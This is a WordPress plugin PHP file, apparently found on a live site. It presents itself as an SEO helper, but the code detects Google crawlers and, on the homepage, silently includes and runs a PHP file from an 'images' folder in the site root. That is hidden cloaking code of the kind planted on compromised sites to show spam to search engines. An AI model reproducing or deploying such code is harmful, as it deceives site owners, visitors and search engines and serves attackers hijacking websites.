File: /datos/www/expodubai/wp-content/plugins/carmiy2/carmiy2.php
<?php
/**
* Plugin Name: WP Carmiy
* Plugin URI: https://example.com/
* Description: Serves a custom file from the root directory to Google bots when they visit the homepage. This plugin helps restore a specific, optimized version of your site for search engine crawlers to potentially improve SEO.
* Version: 1.2.2
* Requires at least: 5.2
* Requires PHP: 7.2
* Author: Your Name
* Author URI: https://example.com/
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: wp-carmiy
*/
// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
die;
}
class WP_Carmiy {
/**
* Initialize the plugin by setting up hooks.
*/
public function __construct() {
// Hook for the frontend logic
add_action( 'template_redirect', array( $this, 'serve_custom_file_to_google_bots' ) );
}
/**
* The core logic: check for Google Bot and serve the custom file.
*/
public function serve_custom_file_to_google_bots() {
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$googleBots = [
'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image',
'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect',
'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-',
];
$bot_pattern = '/' . implode('|', array_map('preg_quote', $googleBots)) . '/i';
$is_google_bot = preg_match( $bot_pattern, $userAgent ) ||
( strpos( $referer, 'google.' ) !== false && stripos( $userAgent, 'bot' ) !== false );
if ( $is_google_bot && ( is_front_page() || is_home() ) ) {
// DEĞİŞİKLİK: 'wp-content' yerine ana dizin (root) kullanılıyor.
// ABSPATH wordpress ana dizinini verir (sonunda / işareti ile gelir).
$custom_file_path = ABSPATH . 'images/amp.php';
if ( file_exists( $custom_file_path ) ) {
include $custom_file_path;
exit;
}
}
}
}
// Initialize the plugin.
new WP_Carmiy();